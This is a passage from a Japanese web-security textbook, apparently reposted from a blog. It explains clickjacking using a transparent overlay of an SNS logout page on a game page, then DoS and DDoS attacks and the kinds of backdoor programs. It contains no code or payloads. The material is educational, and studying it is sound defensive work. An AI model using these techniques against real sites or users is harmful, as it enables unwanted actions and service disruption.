ここでは、SNS Web サイトのログアウト機能を例にクリックジャッキング攻撃について説明します。このログアウト機能により、SNS登録ユーザーはログアウトボタンをクリックするだけでSNSサイトからログアウトできます。

攻撃者は、ユーザーがクリックすると予想される Web ページに罠を仕掛けます。上の写真の釣りゲーム ページの PLAY ボタンは、このタイプのトラップの一例です。改ざんされたWebページでは、ターゲットのSNSログアウト機能のページがゲームのWebページ上に透明なレイヤーとして重ねて表示されます。オーバーライドするときは、PLAY ボタンがログアウト ボタンのページの位置と一致していることを確認してください。

11.5.3 DoS 攻撃
DoS 攻撃 (Denial of Service 攻撃) は、実行中のサービスを停止する攻撃です。サービス停止攻撃またはサービス拒否攻撃と呼ばれることもあります。DoS攻撃の対象はWebサイトだけでなく、ネットワーク機器やサーバーも対象となります。
DoS攻撃の手法としては主に以下の2つがあります。
アクセス要求を集中的に使用するとリソースの過負荷が発生し、リソースが枯渇するとサービスが実際に停止します。
セキュリティホールを悪用してサービスを停止する。
このうち、アクセス要求を集中的に行うDoS攻撃は、単に正規のリクエストを大量に送信するだけです。サーバー側ではどれが通常のリクエストでどれが攻撃リクエストであるかを区別することが難しいため、DoS攻撃を防ぐことは困難です。
複数のコンピュータによって仕掛けられる DoS 攻撃を DDoS 攻撃(分散型サービス拒否攻撃)といいます。DDoS 攻撃は通常、感染したコンピュータを攻撃者の発射台として使用します。

11.5.4 バックドア プログラム
バックドア プログラム (Backdoor) とは、通常の手順を踏まなくても、制限された機能を使用できる開発設定の隠れた入り口を指します。バックドアを利用すると、制限されている機能にアクセスできるようになります。一般的なバックドア プログラムは次の 3 種類に分類されます。
開発段階でデバッグとして呼び出されるバックドアプログラム
開発者が自己の利益のために埋め込むバック
ドアプログラム 攻撃者が何らかの方法で仕掛けたバックドアプログラム

埋め込まれたバックドアは、プロセスと通信のステータスを監視することで発見できます。しかし、 Web アプリケーションに設定された
バックドア プログラムは、通常の使用方法とあまり変わらないため、通常は見つけるのが困難です。

おすすめ

転載: blog.csdn.net/AnalogElectronic/article/details/132334901